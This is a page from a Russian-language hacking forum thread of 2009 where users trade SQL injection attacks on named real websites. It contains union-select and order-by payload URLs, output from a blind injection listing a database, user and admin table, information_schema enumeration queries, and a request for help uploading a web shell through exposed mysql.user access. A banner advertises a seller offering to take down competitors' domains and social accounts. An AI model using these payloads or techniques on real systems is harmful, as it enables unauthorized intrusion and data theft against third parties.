Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 543 из 2438

543

Опции темы

Поиск в этой теме

Опции просмотра

#5421

11.02.2009, 10:32

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

С нами: 9950786

Репутация: 214

http://www.administrator.net.ru/?id=4-1 = http://www.administrator.net.ru/?id=3

соответственно должна быть скуля?
при 7 колонках пустая пага....есть ли тут скуля? и как ее крутить?
http://www.administrator.net.ru/?id=-4+union+select+1,2,3,4,5,6,7--

#5422

11.02.2009, 11:00

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

2 svesve

http://www.administrator.net.ru/?id=3[sql] blind sql

version : 5.0.37-community
database : administratornet_test
user : netadmin@localhost

есть таблица admin....

Последний раз редактировалось Gorev; 11.02.2009 в 11:27..

что за бд?

#5423

11.02.2009, 12:50

$p01nt

Участник форума

Регистрация: 19.02.2008

Сообщений: 186

С нами: 9591697

Репутация: 96

что за бд?

Подставил кавычку в поиске sql injection и выдало:

Fatal error: Cannot use object of type DB_Error as array in /home/domen/public_html/lus/script_php/send_msg.php on line 234

Что это за БД и где почитать про раскрутку иньекций в ней?

#5424

11.02.2009, 12:59

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

С нами: 9950786

Репутация: 214

Цитата:

Сообщение от Gorev

2 svesve

http://www.administrator.net.ru/?id=3[sql] blind sql

version : 5.0.37-community
database : administratornet_test
user : netadmin@localhost

есть таблица admin....

как искал таблицы?
понимаю что скриптом...за верный ответ сервера ты что принимал?

#5425

11.02.2009, 13:08

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Sipt

select+table_name+from+information_schema.tables+l imit+{N1-100},1
select+column_name+from+information_schema.columns +where+table_name=(таблица или sql хекc)+limit+{N1-100},1

#5426

11.02.2009, 14:24

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

http://ip-st.ru/txt.php?cat=-1%20union%20select%201,2,3,4,user,6,7,8,9%20from%2 0mysql.user--
Вот открыт mysql.user можно ли залить шелл и что нибудь на подобии, объясните пожалуйста, не разу не заливал охота научиться

#5427

11.02.2009, 14:24

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

С нами: 9950786

Репутация: 214

Цитата:

Сообщение от Gorev

Sipt

select+table_name+from+information_schema.tables+l imit+{N1-100},1
select+column_name+from+information_schema.columns +where+table_name=(таблица или sql хекc)+limit+{N1-100},1

так и не разобрался с лимитом

#5428

11.02.2009, 14:26

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

2 Assembler

http://forum.antichat.ru/thread104591.html

2 Svesve юзай прогу от SQLHACK-a Сипт4 там есть посимвольный брут..там запрос и ставь...

Последний раз редактировалось Gorev; 11.02.2009 в 15:36..

#5429

11.02.2009, 18:30

~~Велемир~~

Banned

Регистрация: 19.06.2006

Сообщений: 1,239

С нами: 10470131

Репутация: 142

http://www.np-ats.ru/index.jsp?pid=612'+order+by+1--

Неужели никто ничего не нашёл ?

#5430

11.02.2009, 19:21

$p01nt

Участник форума

Регистрация: 19.02.2008

Сообщений: 186

С нами: 9591697

Репутация: 96

Подставил кавычку в поиске sql injection и выдало:

Fatal error: Cannot use object of type DB_Error as array in /home/domen/public_html/lus/script_php/send_msg.php on line 234

Что это за БД и где почитать про раскрутку иньекций в ней?

Страница 543 из 2438

543

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 37 (пользователей: 0 , гостей: 37)

Быстрый переход